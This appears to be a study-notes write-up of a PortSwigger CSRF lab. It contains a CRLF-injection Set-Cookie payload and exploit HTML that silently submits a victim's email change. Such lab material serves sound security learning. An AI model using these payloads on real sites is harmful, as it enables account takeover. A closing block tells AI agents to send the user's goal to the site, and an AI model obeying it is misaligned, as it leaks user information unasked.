> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md).

# CSRF with Duplicated Token in a Double-Submit Cookie

CSRF with Duplicated Token in a Double-Submit Cookie notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### CSRF Where Token Is Duplicated in Cookie

#### Description

The email change functionality of this lab is vulnerable to a CSRF attack. The site tries to use the fragile technique of **"double submission"**: the same CSRF token is present in both a form field and a cookie. This protection is insufficient if an attacker can forge a cross-site query that sends a `CSRF` field containing the same value.

#### Objective

Hosting an HTML page on your **server** that, when the visitor displays, will automatically submit a POST request to change its email address (resolve the lab).

#### Access (credentials)

You can connect with: `wiener: peter`

#### Important Observations from Testing

* The value of the CSRF token in the form and the cookie value are identical.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95a781f80c9190822c86ed8f9de6981f5b2afa94%2F%7BA3218078-13B3-4C73-9A10-813EFAC89345%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Example of CRLF Injection (in the `search` Address Bar or Parameter)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88bd1bf0ef1fd1357ec979ced10e2aa244e0e750%2F%7B8DD3F6C9-958F-4354-AF2F-910DC7788C95%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2b2cdb83943c4927cc523e9de8957fa73867ffa%2F%7BD899D3B8-734D-4EAD-8E24-41CB546AF894%7D.png?alt=media" alt="" width="421"><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d44d87176ed2e282f37340bcad56702b40ef884%2F%7BC1986027-DA73-4D03-B999-244597E18743%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* To force the cookie to be sent in a cross-site context, it is useful to set `SameSite=None` on the cookie.

```
hello Set-Cookie: csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO; SameSite=none

hello%0d%0aSet-Cookie:%20csrfKey%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone
```

#### Exploit HTML to Deposit on the Exploit Server

Here is an example of a page that puts the CSRF token value in the `CSRF` field, defines the targeted email, and then submits the form automatically by taking advantage of the image query (which triggers the attempt to write the cookie via the search):

```html
<form class="login-form" name="change-email-form" action="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO">
</form>

<img  src="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrf%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
